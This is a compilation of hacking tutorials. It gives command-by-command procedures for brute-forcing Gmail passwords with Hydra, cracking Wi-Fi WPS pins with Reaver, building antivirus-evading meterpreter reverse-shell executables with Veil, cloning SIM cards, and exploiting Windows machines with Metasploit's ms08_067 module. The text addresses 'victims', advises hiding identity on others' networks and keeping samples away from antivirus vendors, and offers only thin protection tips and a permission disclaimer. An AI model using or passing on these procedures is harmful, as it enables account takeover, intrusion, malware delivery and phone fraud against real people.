Hack Gmail Account Using Hydra

How to Crack a Gmail Account Password in Kali Linux ?
Gmail is one of the most popular email account in the world. Most of the time people is asking me How to hack a Gmail password. In this article i will show you How to hack Gmail account password & how to Protect your Gmail account.
To understand any password hacking techniques you need to know about Password Hacking Techniques and you need a Word-list for this purpose.Check my article How to Create Wordlist with crunch in Kali Linux
In this article i am using Hydra tool to Brute force Gmail account. Password Brute-forcing is completely depend upon your length of password-list & your luck.
Now open Terminal and enter the command Hydra , it will show you all the Syntax , Options and examples.

For Gmail Password cracking Syntex are like below :-
hydra -S -l <email> -P <filepath/yourlist.txt> -e ns -V -s 465 smtp.gmail.com smtp
Like i want to hack my own one Gmail account. so my command will be like below
root@Kali:~# hydra -S -l VictimId@gmail.com -P /root/Desktop/pw list 1.txt -e ns -V -s 465 smtp.gmail.com smtp

it will try all possible combination of passwords that present in your Word-list. When it will find valid password. it will stop the scanning and notify you “One valid Password found“.

Enjoy Gmail account Hack. This Cracking is possible because my password is not complex so brute-forcing tool easily crack my password.
Protect your Gmail Account :-
1. Use Strong Complex password :-
If you are really concerned on password security. Choose Strong password. Open http://passwordsgenerator.net/  and Choose your password length (1-50).

Now change you old week passwords with New secure passwords.
If you want to check How secure is your password. Open howsecureismypassword.net/ and enter your password. It will show you how secure is your password.

it,s not easy for you to remember complex password, use LastPass for this purpose. check my article How to protect your passwords with LastPass
2. Enable Two-Way Authentication in your account :-
Go to the Account Setting > Select Security tab and select 2-step verification . and frequently change your password.

Crack Wi-Fi Password Using Kali Linux

This guide is for penetration testing your own network or someone else's, with permission

using someone elses wifi is theft of service and may or may not  be a criminal offence in your area for security use tor browser For Anon Surfing..!! 

Logan nor anyone from tek syndicate is liable for your actions, you are so proceed with caution!

EDIT; kali linux is now out as logan said on the tek a few weeks back, as kali is built from the same tools by the same team this guide work with both BT5 r3 and kali,

1st step you will need a copy of backtrack 5 so go here http://www.backtrack-linux.org/downloads/

or kali linux from here (guide is same for both) http://www.kali.org/downloads/

and get yourself an iso (32 or 64bit depending on your hardware)

either burn to disc using imgburn http://www.imgburn.com/index.php?act=download

or make a live usb of 4gb + then you can save sessions and not have to start over when you power off, its a good idea as i have had attacks take up to a day and a half (because of weak signal) and with a disc once powered down......

to do this i use this http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/ itll do windows too....

or as a third option you could run it as a virtual machine with vmware from within windows, but if you do that you HAVE to use a usb wifi dongle because the internal wifi card of laptops gets seen as ethernet by the guest os, dont know why but i have found it to be true - vmware is not freeware, there maybe a trial or cripple ware version available here  http://www.vmware.com/uk/ but i sailed away from the pirate bay with my copy, i wont link directly to it as i may get in trouble from logan but you're a smart guy you can find it ;)

ok so now you have a disc/usb or virtual machine so power on, into BIOS (del,f11,f2 another key depending on hardware) and set it to boot from disc or usb, (not applicable to vm) and lets have some fun!

when the first menu comes up you want default text mode

when the cursor becomes available type "startx" without the quotes and it will boot into a desktop

go to the top of the screen and click on the little black screen to open a teminal (looks like a windows cmd window)

now to find out what wifi adaptor you have

type "airmon-ng" no quotes

if it doesnt list anything then your wifi adaptor is not compatible with bt5 it probably has no promiscuous mode or is lacking driver support but most laptop internal wifi i have found to work and most full size usb dongles do too the tp link tl wn821n works for definate.

the output from that is normally wlan0 but if you have multiple adaptors you will get more options

type "airmon-ng start wlan0"

assuming wlan0 was the output from previous command if not put what the output was for the adaptor you would like to use it will output monitoring enabled on mon0 most times unless you have multiple adaptors

so now we have set our adaptor to monitor the airwaves we can have a snoop at all the available networks 

type "wash -i mon0"

and it will list all available networks signal strength encryption type bssid's and other things, we are looking for networks with wpa2/psk WEP is also dooable and much quicker, but as a security standard it is dead and not in common use any more but if you would like a guide for that too, let me know in the thread and when i have a moment.....

anyway choose your victims bssid and

type "reaver -i mon0 -bBSSIDGOESHERE -vv" 

and it will start running through the all the possible wps set up pins randomly, it maybe that you get ap rate limiting detected, this is where a router recognises that it is getting attacked from all the wrong passwords and stops bt5 from accessing it rfor a set amount of time to combat this youi need to add a delay -d command to the reaver command line so it looks something  like this

"reaver -i mon0 -b21.34.56.23.54 -d20 -vv" 

if ap rate limiting still detected keep increasing the delay by 5 seconds untill you stop tripping the ap rate limit

by using the -vv comand you get more verbose output from the termional wich allows you to see if it is channel hopping or ap rate limiting or whatever and it also lets you see when it gets caught in a loop on a particular password when this happens i press cntrl+c to stop session then up cursor for last command and enter and it picks up where it left off and normally carries on without stuttering on the same password again

after time passes it will output the password and pin number copy both down as if the password is changed you can run the reaver command line again with a -pPINHERE and it will break new password in less than a minit as the pin doesnot change this would look like

"reaver -i mon0 -b23.56.76.45. -p123456 -vv"

the password will get changed if your found on a network you are not supposed to be on wich is why i put that command there as i have had it happen a few times

if this goes on and the network admin is savvy they may stop changing the password and start banning mac addresses from connecting to the router but dont fear!

i use this http://www.technitium.com/ to change my mac address as i have had to deal with this problem before

as a side note, if you are going to jump on a network that isnt yours change your pc name to something not identifiable to you mine is called vm.lineupdate32 as the target network is on virgin media....see?

Bypass Any Antivirus Security

Veil is an awesome tool developed by Chris Truncer @ChrisTruncer, Mike Wright @TheMightyShiv and The Grayhound @the_grayhound specifically designed for Kali Linux with the goal of:

• Bypass common AV solutions used.
• Get the payloads from Metasploit framework, and get the new ones in the future Metasploit releases.
• Try to create each payload as random as possible.

I want to talk about Veil and give some examples about how to bypass several anti-virus.

The main changes in the latest versions are:

• x64 compatibility – They have updated their setup script in order to make Veil compatible with both x86 and x64 versions.
• Update Feature – Now Veil has an update function. Now we can update Veil either the command line or menu.

If you want to install Veil in your whatever environment you prefer, you can use the commands below:

wget https://github.com/ChrisTruncer/Veil/archive/master.zip

unzip master.zip

cd Veil-master/setup

cd ..

./setup.sh

If you want to work with Kali Linux, with the commands below it will be enough.

apt-get update

apt-get install veil 

I had a  bad experience with the second option and I prefer to install Veil with the first one using “setup.sh” script.

The Veil’s developers don’t want to submit any payload to www.virustotal.com to avoid distribution to the anti-virus vendors. There is an alternative: vscan.novirusthanks.org. That site scans the suspicious files for malware detection and offers us the option: “Do not distribute the sample”.

When Veil has been installed, just run it with the command below:

./Veil

By default in Kali Linux, we can see 18 payloads ready to be used. Now we can type “use”.

Here, Veil offers us more information about the payloads. In this case I chose python/b64VirtualAlloc typing “18”

When our payload is loaded, type “generate“. You can set some specifics options, but in this post, we are going to try the default options.

Now we are going to select msfvenom by typing “1”

After that, we need to type some details:

• Enter metasploit payload: “windows/meterpreter/reverse_tcp“
• Enter value for ‘LHOST’, [tab] for local IP: “192.168.69.69″
• Enter value for ‘LPORT’: “443“

Then it’s necessary to wait while the shellcode is been generated.

You need to press enter and then Veil requests the name of our payload. In this case “undetectable” (or whatever you want)

We are going to use Pyinstaller. It will create a .exe installable. For this, we are going to type “1”

In the end, we can get our executable at “/root/Veil-master/output/compiled/”

Now, we have our executable and we are going to submit it to vscan.novirusthanks.org. Please, remember to check “Do not distribute the sample“. If you choose to don’t check this options or you decide to submit the executable towww.virustotal.com your file will be investigated and maybe it will be recognized by some anti-virus vendors.

You can see in the picture below any of the anti-virus vendors have detected our file as malicious. We have got a rate detection of 0%!!!!

If you prefer to use the CLI instead of a menu, you can generate the same payload we have just created with the command below.

./Veil.py -l python -p b64VirtualAlloc -o undetectable –msfpayload windows/meterpreter/reverse_tcp –msfoptions LHOST=192.168.69.69 LPORT=443

Clone Any Sim Card

1. Buy a Sim card Reader

2.Need a Blank sim card or super sim card

3.Download Magicsim at http://www.magicsim.com/en/multi-sim.asp? new_id=6

4. Download http://www.filecart.com/Windows/System-Utilities/Backup-Restore/USB-SIM-Card-Reader- Software_1711_1.html

5. Install programs.

6. go in phone tools, select sim card, then select unlock sim, it will promt for a code.

7 call network provider, they will ask for your phone number, your account info, name and security code,
then they will ask why you want to unlock your simcard, just tell them you need to unlock your sim to get it
to work with your overseas phone or something.

8. Once they give you the sim unlock code, enter it, and it will say sim unlocked.

9. remove the sim from your phone, place it in the cardreader, click read from card in magic sim program.

10. once it says connected, select crack sim in the toolbar. click strong ki and clink all of the other find options and then click start.

11. Once your ki is found and the crack is finished, click file, save as and save your cracked sim info to a that file.

12. IMPORTANT!!! you must click disconnect from the file menu or you will ruin your simcard. once it says
disconnected, remove the sim. put it in your phone and see if it still works, it should. if not, you either did not unlock your sim, or you tried to copy it instead of crack and save.

13. insert black 3g card Use other program, not magic sim at this point.

14. click connect

15. it will say no info found if it is truly blank.

16. select write to sim, it will promt you to select a dat file, select the one you saved before, now click start, it will take about 10 minutes to write it, once it is complete, it will ask for a security code, enter the security code network provider gave you, then click finish.

17. your card is cloned. if you try to make 2 calls at the same time, one will go through, the other will say call failed, and both phones will get the same messages, text and voice, and both will recieve the same calls, but only one can talk at a time.

Hack Computer Using Metasploit

Note: The hacker can be traceable and hence additional techniques are required to make yourself safe!
So here goes the requirements and the procedure to hack into a PC.
Requirements:

• Metasploit (Available at metasploit.org)
• Nmap (Port scanner available at nmap.org)
• Debian  Linux OS
• IP of the victim’s computer.

Introduction to attack:
Nmap is a port scanner used to scan a computer to locate the open ports. The ports are the path for the information that we need to steal. For a normal computer usually 30-40 ports are kept open.To find the number of ports open on your computer open command prompt (Start>Command prompt) and type netstat -ano and hit enter,  you will get a list of open ports in your computer. You need to have a basic knowledge on ports and port numbers to perform this attack.
Using a tool such as Metasploit we can spoof into the PC and steal the information from the corresponding port using commands. Learn to use Metasploit at http://www.metasploit.com/learn-more/how-do-i-use-it/.
We use Linux because it is the best OS for hackers. And you must know to use terminal on Linux, since we perform this attack on command lines.
Procedure:
Step 1: At first we are going to port scan the computer. For this we need to open Nmap and type the following command.
nmap -sS -O
In the place ofip> you have to write the victims ip address. If you see the ports 139 and 445 open then you can go ahead.
Step 2: Now we have to open Metasploit (via terminal) and run it.
Type the following command to get the exploits in the victim’s computer.
show exploits
You will get a list of exploits in the victim’s computer. which looks similar to ms05_039_pnp. Every such exploit correspond to different function. We are interested in an exploit which looks like this ms08_067_netapi. So we give a command as shown below.
use windows/smb/ms08_067_netapi
Step 3: Now we use RHOST command to set the target ip.
set RHOST
And RPORT command to access port 445
set RPORT 445
Step 4: And now we give a command as
set SMBPIPE SRVSVC 
And then,
set TARGET 0
Step 5: Now we got to set the payload hence the following command.
set PAYLOAD windows/meterpreter/bind_tcp
Step 6: Done..!! Type exploit and hit enter.
If you find the message which looks closer to “Meterpeter session 1 opened” then that implies you are done. You have successfully hacked  into the computer.